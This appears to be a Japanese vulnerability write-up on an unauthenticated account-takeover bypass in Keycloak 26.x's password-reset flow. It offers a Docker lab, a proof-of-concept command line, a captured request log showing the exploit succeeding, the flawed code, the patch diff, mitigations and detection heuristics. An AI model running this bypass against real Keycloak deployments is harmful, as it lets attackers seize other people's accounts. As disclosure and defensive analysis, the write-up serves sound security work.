
PoC、Dockerfile プレイグラウンド、およびパッチ差分分析による根本原因。
Keycloak 26.x 系の reset-credentials フローバイパスの影響を受けるバージョンをテストするための Docker セットアップ。同梱のラボは Keycloak 26.6.2 に固定されており、これは影響を受ける範囲(>26.0 かつ <26.7.2)に含まれます。
要件: Docker、Docker Compose、Python 3。Docker イメージ quay.io/keycloak/keycloak:26.6.2 でテスト済みです。
docker compose up -d
curl http://127.0.0.1:8080
compose ファイルは、一時的な admin/admin-password-for-lab 管理者で Keycloak 26.6.2 を起動します。Admin Console または Admin REST API を使用して、テスト用のレルムとユーザーを作成します。リセットフローが有効であり、組み込みの reset-credential-email 実行が到達可能である必要があります。
ATO の例:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <既知のレルム> --username <既知の被害者> \
--new-password '<パスワード>' \
--allow-loopback-http-cookie --change-password
loopback-cookie オプションは、この HTTP Docker ラボ専用に存在します。 検証・悪用の成功例
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
「パスワードを忘れた場合」が脆弱な組み込みの reset-credentials フローを使用する場合の、認証なしのアカウント乗っ取り。メール所有ステップが、そのアクショントークンを消費せずに成功としてマークされ、攻撃者が UPDATE_PASSWORD に進むことができます。
2 つのステートマシン欠陥が組み合わさっています:
tryAnotherWay は、認証セッション内のグローバルなブール値として AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true を保存しました。これはセレクターを表示した実行にバインドされておらず、古いセレクター状態が別のリセットフロー実行に影響を与える可能性がありました。ResetCredentialEmail.action() は、任意の呼び出しを受け入れました:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
したがって、巧妙に細工された reset-credentials フローシーケンスは、セレクター/現在の実行状態を操作し、メールで送信されたリンクをクリックせずにメールオーセンティケーターアクションを呼び出すことができます。Keycloak はメールステップを完了として扱い、選択された被害者に対してパスワード更新実行を公開します。
リセットメールは引き続き生成され、SEND_RESET_PASSWORD が記録される場合があります。メールボックスまたはトークンの所有は不要です。
セレクター状態は、正確な実行モデルにバインドされるようになりました:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
ノートは、CURRENT_AUTHENTICATION_EXECUTION と一致しない場合は削除されます。さらに重要なことに、メールアクションはフローユーザーと一致するアクショントークン ID を必要とするようになりました:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services フローを継承しました。悪用可能なセレクター状態の変更は 26.0.0 で導入されました。reset-credential-email が到達可能でバインドされている必要があります。「パスワードを忘れた場合」を無効にすると、この経路が防止されます。Keycloak には、「メールトークンがスキップされた」ことを示す決定的なイベントがありません。フローのタイミングとリバースプロキシログを関連付けます:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD が数秒以内tryAnotherWay を含む reset-credentials POSTGET /login-actions/action-token が介在しないこれはヒューリスティックです。メールがすでに開かれているユーザーは迅速にリセットでき、ロギング/保持が無効になっている場合、イベントが存在しないことは何も証明しません。
認証フローの状態混乱と無条件のオーセンティケーター成功により、所有チェックがバイパスされます。一般的なテストのエッジケース: 認証実行が再訪可能、または「別の方法を試す」で切り替え可能、または古い URL から再開可能な場合は常に、各オーセンティケーターが共有フロー状態を信頼するのではなく、自身の証明を再検証することを確認します。